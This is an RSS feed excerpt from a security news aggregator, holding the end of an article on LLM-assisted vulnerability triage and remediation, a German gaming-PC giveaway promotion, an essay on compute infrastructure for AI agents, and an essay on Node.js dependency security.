<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Verrückten Gaming-PC GEWINNEN - So geht's! #hmx6]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 3x - Views:3 Willst du das krasseste Gaming-Setup 2026 gewinnen? 🔥

20 Jahre Höllenmaschine – und es wird absurd: Wir verlosen die HMX 6, einen Gaming-PC im Tisch, gebaut im Halo-Style.

Gesamtwert mit Peripherie: über 40.000 €.

Noch ist die HMX 6 nicht gebaut, aber ...]]></description>
<link>https://tsecurity.de/de/3673637/videos/verrueckten-gaming-pc-gewinnen-so-gehts-hmx6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673637/videos/verrueckten-gaming-pc-gewinnen-so-gehts-hmx6/</guid>
<pubDate>Thu, 16 Jul 2026 15:33:38 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 3x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/NYF-wUgRMcA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Willst du das krasseste Gaming-Setup 2026 gewinnen? 🔥<br />
<br />
20 Jahre Höllenmaschine – und es wird absurd: Wir verlosen die HMX 6, einen Gaming-PC im Tisch, gebaut im Halo-Style.<br />
<br />
Gesamtwert mit Peripherie: über 40.000 €.<br />
<br />
Noch ist die HMX 6 nicht gebaut, aber du kannst jetzt schon teilnehmen: Artikel-Link weiter unten öffnen, Gewinnspielformular ausfüllen, Lose sammeln und im Lostopf landen.<br />
<br />
Kein Account nötig. Kein Abo nötig. Extra-Lose gibt’s direkt im Formular.<br />
<br />
Mehr gültige Lose = höhere Chance.<br />
Pro Person nur eine Teilnahme.<br />
<br />
👉 So machst du beim Gewinnspiel mit:<br />
https://www.pcwelt.de/3179491<br />
<br />
👉 Alle Infos zur HMX 6:<br />
https://www.pcwelt.de/hmx<br />
<br />
Alle Infos findest du auch über den Link in der Bio. <br />
<br />
Mit etwas Glück gewinnst du die HMX 6. 🍀<br />
-<br />
#gamingpc #gaming #gamerlife #pcmasterrace <br />
<br />
► Zum PC-WELT T-Shirt-Shop:<br />
https://pcwelt.myspreadshop.de<br />
<br />
► Unterstützt uns, werdet Kanalmitglied für nur 99 Cent im Monat und erhaltet exklusive Vorteile (jederzeit kündbar):<br />
https://www.youtube.com/pcwelt/join <br />
<br />
► News, Tests und Tipps zum Thema Gaming & eSports: https://www.pcwelt.de/gaming<br />
<br />
► PC-WELT auf Instagram: https://instagram.com/pcwelt/<br />
► PC-WELT auf Facebook: https://www.facebook.com/pcwelt/<br />
► PC-WELT auf Twitter: https://twitter.com/pcwelt<br />
<br />
--------<br />
<br />
Unser Equipment (Affiliate-Links):<br />
<br />
🎥Kameras:<br />
https://amzn.to/3WUf0Ud<br />
https://amzn.to/44VCdHC<br />
https://amzn.to/3KdbGMe<br />
<br />
<br />
🔭Objektive:<br />
https://amzn.to/3uLfZ9p<br />
https://amzn.to/2NkGoFd<br />
https://amzn.to/3iXV3GJ<br />
<br />
➡️ Stative:<br />
teuer: https://amzn.to/2DIlCeV<br />
günstig: https://amzn.to/2IHm026<br />
Einbein: https://amzn.to/2T0WbPG<br />
<br />
📺Field Monitore:<br />
Atomos Ninja: https://amzn.to/4dR0q5Y<br />
<br />
🎤Mikros:<br />
Lavalier: https://amzn.to/2IxIlzm<br />
Headset: https://de-de.sennheiser.com/hsp-essential-omni<br />
Shotgun: https://amzn.to/2HdVKIT<br />
<br />
➡️ Kamera-Cages & Zubehör:<br />
SmallRig-Cages: https://amzn.to/4atoPM4<br />
Damit habt Ihr alles im Griff:https://amzn.to/2SmfptN<br />
<br />
➡️ Schulter-Rig: https://amzn.to/3Rm9ZQX<br />
<br />
--------<br />
<br />
Auf dem PC-WELT-Kanal findet Ihr alles rund um das Thema PCs & (Gaming-)Hardware. Bei uns gibt's alle wichtigen Infos, Tests und Hands-ons rund um die spannendsten Geräte.<br />
<br />
--------<br />
<br />
Einige Links können Affiliate-Links sein. Kauft Ihr über einen solchen Link ein Produkt, erhalten wir eine kleine Provision. Am Kaufpreis ändert sich für Euch dadurch nichts.<br />
<br />
--------<br />
<br />
► Alle News, Hands-ons und Gewinnspiele findet Ihr in dieser Playlist:<br />
https://www.youtube.com/playlist?list=PLVC_WMwVwvSjZfr6GlSyy-bNEXm9b-lN3<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js security starts before CI]]></title>
<description><![CDATA[In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.



Th...]]></description>
<link>https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.</p>



<p class="wp-block-paragraph">That workflow made sense when dependency security was mostly viewed as a compliance check. Run a scanner. Produce a report. Fail the build if the risk crosses a threshold. Let someone decide what to do next.</p>



<p class="wp-block-paragraph">But the modern Node.js ecosystem has changed. The risk no longer begins in CI. It begins earlier, at the moment a developer decides to trust a package.</p>



<p class="wp-block-paragraph">That is why the next phase of <a href="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html" data-type="link" data-id="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html">Node.js security</a> cannot be limited to better pipeline enforcement. It has to move closer to the developer workflow, before dependencies become part of the application, before a pull request becomes someone else’s problem, and before a build log becomes the first moment anyone realizes that something important has changed.</p>



<h2 class="wp-block-heading"><a></a>Every install is a trust decision</h2>



<p class="wp-block-paragraph">The npm ecosystem is built on trust at an enormous scale. Every install is a trust decision. Every transitive dependency extends that decision to maintainers, packages, scripts, release pipelines, and infrastructure the application team may never inspect directly. This model gave JavaScript its incredible velocity. It also created one of its deepest security weaknesses.</p>



<p class="wp-block-paragraph">Recent npm supply chain incidents show why this matters. In March 2026, <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html" data-type="link" data-id="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">malicious Axios versions were published to npm</a> through a compromised maintainer account. Microsoft later described how those packages attempted to retrieve a second-stage payload during installation. In May 2026, <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem" data-type="link" data-id="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack published a postmortem</a> explaining that 84 malicious versions across 42 npm packages were published through a legitimate release pipeline after an attacker abused GitHub Actions behavior and runner trust boundaries. Security researchers also <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html" data-type="link" data-id="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">reported broader Mini Shai-Hulud activity</a> across the npm ecosystem in May, including hundreds of malicious package versions published in a short period.</p>



<p class="wp-block-paragraph">Not every one of these incidents is a traditional CVE. Some are malicious package compromises. Some involve CI/CD credential theft. Some involve maintainer or pipeline compromise. But they all point to the same larger issue: dependency risk is now part of everyday software engineering, not something that can be pushed entirely to a downstream security process.</p>



<h2 class="wp-block-heading"><a></a>The problem is not the scanner. It is the handoff.</h2>



<p class="wp-block-paragraph">Ubiquitous dependency risk changes what developers need from security tooling.</p>



<p class="wp-block-paragraph">The problem is not that teams lack scanners. Many organizations already run security checks in CI. The problem is that the output of those checks often arrives too late and speaks the wrong language for the person expected to act on it.</p>



<p class="wp-block-paragraph">A pull request fails. A long vulnerability report appears. The report may be technically accurate. It may contain the right advisory IDs, affected versions, dependency paths, severity labels, and references. But the developer still has to comb through the output and reconstruct the actual engineering decision from the evidence provided.</p>



<p class="wp-block-paragraph">That reconstruction is rarely simple. The developer has to understand which package introduced the issue, whether the vulnerable dependency is direct or transitive, whether the fix is actually within the application team’s control, and whether the recommended version is safe to adopt. They also have to determine whether the dependency is used in production or only during development, whether the update might break the application, and whether the fix belongs in the current pull request or requires separate engineering work.</p>



<p class="wp-block-paragraph">That uncertainty is where security work often slows. The scanner has detected risk, but the developer has not been given a clear path from detection to decision.</p>



<h2 class="wp-block-heading"><a></a>Security needs to move closer to engineering judgment</h2>



<p class="wp-block-paragraph">This is not a criticism of scanning. Scanning is necessary. CI enforcement is necessary. Centralized security platforms are necessary. But they are not sufficient, because they often operate after the trust decision has already been made.</p>



<p class="wp-block-paragraph">The real architectural question is this: where should dependency security live in the software development life cycle?</p>



<p class="wp-block-paragraph">If it lives only in CI, it becomes an interruption. If it lives only in dashboards, it becomes someone else’s queue. If it lives only in periodic audits, it becomes a backlog. But if it lives at the moment a dependency is introduced, upgraded, or reviewed, it becomes part of engineering judgment.</p>



<p class="wp-block-paragraph">That shift matters because modern JavaScript development is becoming faster than human review can comfortably handle. Developers no longer add dependencies only by reading documentation and choosing libraries manually. AI coding assistants can suggest packages, generate install commands, modify package files, and rewrite code around third-party APIs. Agentic development workflows can make dependency changes as part of broader automated refactors.</p>



<h2 class="wp-block-heading"><a></a>AI makes the trust boundary harder to see</h2>



<p class="wp-block-paragraph">That acceleration is useful. It also changes the risk model.</p>



<p class="wp-block-paragraph">When a human developer adds one package, the team can review the decision. When a coding agent modifies several dependencies as part of a larger task, the trust boundary becomes harder to see. The package file changes, the lockfile changes, the application still runs, and the pull request may look like a normal feature update. But the real security question may be hidden inside the dependency graph.</p>



<p class="wp-block-paragraph">This is where Node.js teams need a different mental model.</p>



<p class="wp-block-paragraph">Dependency adoption should not be treated as a small implementation detail. It should be treated as an architectural decision with security consequences. A new package is not just code reuse. It is a new trust relationship.</p>



<p class="wp-block-paragraph">That does not mean developers should stop using packages. The npm ecosystem exists because reuse works. Most teams cannot and should not build everything themselves. But convenience should not erase visibility. If a dependency becomes part of the application, the team should understand what was added, what changed in the lockfile, what risk comes with it, and what action is available if something is wrong.</p>



<h2 class="wp-block-heading"><a></a>Developers need confidence, not just reports</h2>



<p class="wp-block-paragraph">The same applies to remediation. Developers do not want a wall of vulnerability text. They want confidence. They want to know what action reduces risk, what version should be targeted, whether the change is safe, and whether the fix is actually under their control. A vulnerability report that leaves the developer uncertain may satisfy a process requirement, but it does not necessarily improve the speed or quality of remediation.</p>



<p class="wp-block-paragraph">That is the gap many teams feel today. Security tools are often very good at saying, “There is a problem.” They are less consistent at helping the developer answer, “What should I do next?”</p>



<p class="wp-block-paragraph">This is the broader problem I have been exploring through <a href="https://github.com/OWASP/cve-lite-cli">CVE Lite CLI</a>, now an OWASP project. The point is not that one command-line tool solves Node.js security. It does not. The larger idea is that dependency security has to move closer to the developer’s moment of decision. A useful developer-side security workflow should not merely report that risk exists. It should help the engineer understand whether the issue is in their control, what change is available, and whether the fix actually reduces risk.</p>



<h2 class="wp-block-heading"><a></a>The future is decision support, not just detection</h2>



<p class="wp-block-paragraph">That distinction is important. The future of Node.js security is not just more detection. It is better decision support.</p>



<p class="wp-block-paragraph">Security teams still need policy. Enterprises still need dashboards. CI still needs gates. But developers need something more immediate: a way to reason about dependency risk while the code is still fresh in their mind. That is where the ecosystem has to evolve.</p>



<p class="wp-block-paragraph">We already accept that testing belongs close to development. We accept that linting belongs close to development. We accept that formatting, type checking, and build validation belong close to development. Dependency security should follow the same path. It should not be treated as a mysterious report that appears at the end of the process. It should become part of the normal rhythm of engineering work.</p>



<p class="wp-block-paragraph">Before adding a package, developers should understand what trust relationship is being introduced. Before accepting an AI-generated dependency change, they should inspect what entered the graph. Before merging a pull request, teams should understand whether a vulnerability is direct, transitive, fixable, or blocked by another package. And before treating a CI failure as noise, organizations should ask whether the workflow is giving developers enough information to act confidently.</p>



<h2 class="wp-block-heading">Node.js security will be won, or lost, before CI runs</h2>



<p class="wp-block-paragraph">The Node.js ecosystem will not become safer by slowing down all development. That is unrealistic. It will become safer when security work is placed where developers can actually use it.</p>



<p class="wp-block-paragraph">The next generation of Node.js security will be won or lost before CI runs.</p>



<p class="wp-block-paragraph">It will be won when dependency decisions are still small enough to understand, fresh enough to review, and close enough to the developer for action to feel natural.</p>



<p class="wp-block-paragraph">That is the shift teams need to make now. Not from insecure to secure in one step, but from late detection to earlier judgment. From vulnerability reports to engineering decisions. From trusting packages by habit to understanding trust as part of software design.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
